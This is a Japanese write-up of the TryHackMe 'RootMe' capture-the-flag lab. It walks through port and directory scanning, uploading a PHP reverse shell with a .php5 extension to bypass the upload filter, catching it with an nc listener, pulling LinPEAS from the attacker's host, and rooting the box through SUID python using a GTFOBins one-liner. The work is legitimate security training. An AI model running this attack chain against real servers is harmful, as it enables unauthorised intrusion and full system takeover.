【TryHackMe】RootMe - Writeup

# はじめに

TryHackMeの **"RootMe"** というルームのWriteupです。
挑戦的な名前のWebサイトをハックしていきましょう！　

https://tryhackme.com/room/rrootme

**Recon** (偵察) → **Enumeration** (列挙) → **GainingAccess** (侵入) → **PrivEsc** (権限昇格)
という流れで進めていきます。
侵入後に **user.txt**、権限昇格後に **root.txt** をゲットするのが目標です。

# Recon

```shell:Host
$ nmap 10.10.210.186 -sV

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-07 03:35 GMT
Nmap scan report for ip-10-10-210-186.eu-west-1.compute.internal (10.10.210.186)
Host is up (0.00043s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 02:29:CA:38:CA:77 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds
```
22,80のポートが開いていることがわかる。

httpが使われているのでひとまずブラウザで見てみるとサイトが見れた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/13ab07e4-3cd1-50cf-5e40-8ff5c1fec2c2.png)

Can you root me? って言ってますね。
ボタンとかは特にない。

# Enumeration

隠しディレクトリがないか調べてみよう。

```shell
$ gobuster dir -u http://10.10.210.186 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.210.186
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/07 03:41:17 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/css (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2024/02/07 03:41:18 Finished
===============================================================
root@ip-10-10-85-107:~# 
```
403は見れないので、301のファイル３つが気になる。
js, panel, uploadsをそれぞれ見ていく。

### /js

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/6bfa0026-6cef-13dc-819c-a5f6df4b878c.png)

Javascriptのファイルが見えるのでクリックしてみる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/abe3926f-c396-8e69-e151-66b1f0f5cc05.png)

innerHTMLってあんまり使わないほうがいいんだっけ。

### /panel

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/108d1ce1-a8d1-2035-063c-0e60aac3b7bb.png)

ファイルアップロードが出来るページのようだ。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/db5fce62-e6c5-464c-242b-a5eb4f75e372.png)

ためしにアップロードしてみるとアップロード出来てしまった。

## /uploards

見てみると、このページにさきほどアップロードしたファイルが保存されている。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/04998f0b-d32e-ed8e-6fcb-d670cb60955f.png)


# Gaining Access

どうやって侵入するか考えてわからなかったので問題を見ると
リバースシェルをアップロードせよと指示があった。

ファイルアップロードするページのネットワークを開発者ツールから確認すると、CookieのところにPHPと書かれている。PHPを使っているようだ。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/94f315ef-a566-9416-21d2-3de19678edc2.png)


kaliにデフォルトで入っているPHPのリバースシェルを送り込む。

```shell
$  cp /usr/share/webshells/php/php-reverse-shell.php Desktop/rev
```

リスナーを起動しておく。
```
$ nc -lnvp 7000
```

ファイルを開いてIPアドレスとポートを変更してからアップロード。
.phpは拒否されるので拡張子を.php5にする。

/uploadsで送ったリバースシェルをクリックして実行すると、リバースシェルが起動！

```shell
$ nc -lnvp 7000
Listening on [0.0.0.0] (family 0, port 7000)
Connection from 10.10.210.186 59578 received!
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 04:36:29 up  1:04,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
$ whoami
www-data
```
www-dataというユーザでログイン出来ている。


### シェルの安定化

このままだとシェルのタブ補完等が出来ず不安定なため、下記手順を実施する。

```shell
$ python -c 'import pty;pty.spawn("/bin/bash")'
## ctrl + z
$ stty raw -echo; fg
```

TERMをX Window Systemの標準のターミナルエミュレータであるxtermに変更。デフォルトは各回線毎のOSによって異なります。また、シェルはwww-dataのログインシェルである/usr/sbin/nologinの状態。作業しやすいようにSHELLをbashに変更する。

```
$ export TERM=xterm
$ export SHELL=bash
```

user.txtを探していく

```shell:Target
$ find / -type f -name user.txt 2>/dev/null
/var/www/user.txt
$ cat /var/www/user.txt	
THM{************}
```
user.txtが取得できた。


# PrivEsc

LinPEASで脆弱性を探していく。

```shell:Hacker
$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20240204-ab87b191/linpeas.sh
$ python3 -m http.server
```

```shell:Target
$ wget http:{host ip}:8000/linpeas.sh　<-- w権限あるフォルダで！
$ chmod +x linpeas.sh
$ ./linpeas.sh　> linpeas.log
```

```shell:結果
-rwsr-sr-x 1 root root 3.5M Aug  4  2020 /usr/bin/python
```

確認したところ、pythonにSUIDが設定されていることが分かった。

https://gtfobins.github.io/gtfobins/python/

GTFObinsのコードをそのまま実行するとrootでシェルが起動
（なぜかシェルの安定化を行わないとpythonが無限に起動しない謎現象があった・・・）

```shell
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
#
# whoami
root
# find / -type f -name root.txt 2>/dev/null
/root/root.txt
# cat /root/root.txt
THM{*****_******}
```
無事root.txtの方も取得できました。

# あとがき

ファイルアップロードの脆弱性からリバースシェルを実行するという内容でした。
問題を解いていけば正解に近づけるの教育的で良いな～

- ディレクトリトラバーサル
- ファイルアップロードの脆弱性
- SUID

**ReverseShellGenerator** を使ってみたかったけど出来なくて、結局kaliにデフォルトにあるリバースシェルを使った。なんで使えないんだろう？ちょっと悔しい。

https://www.revshells.com/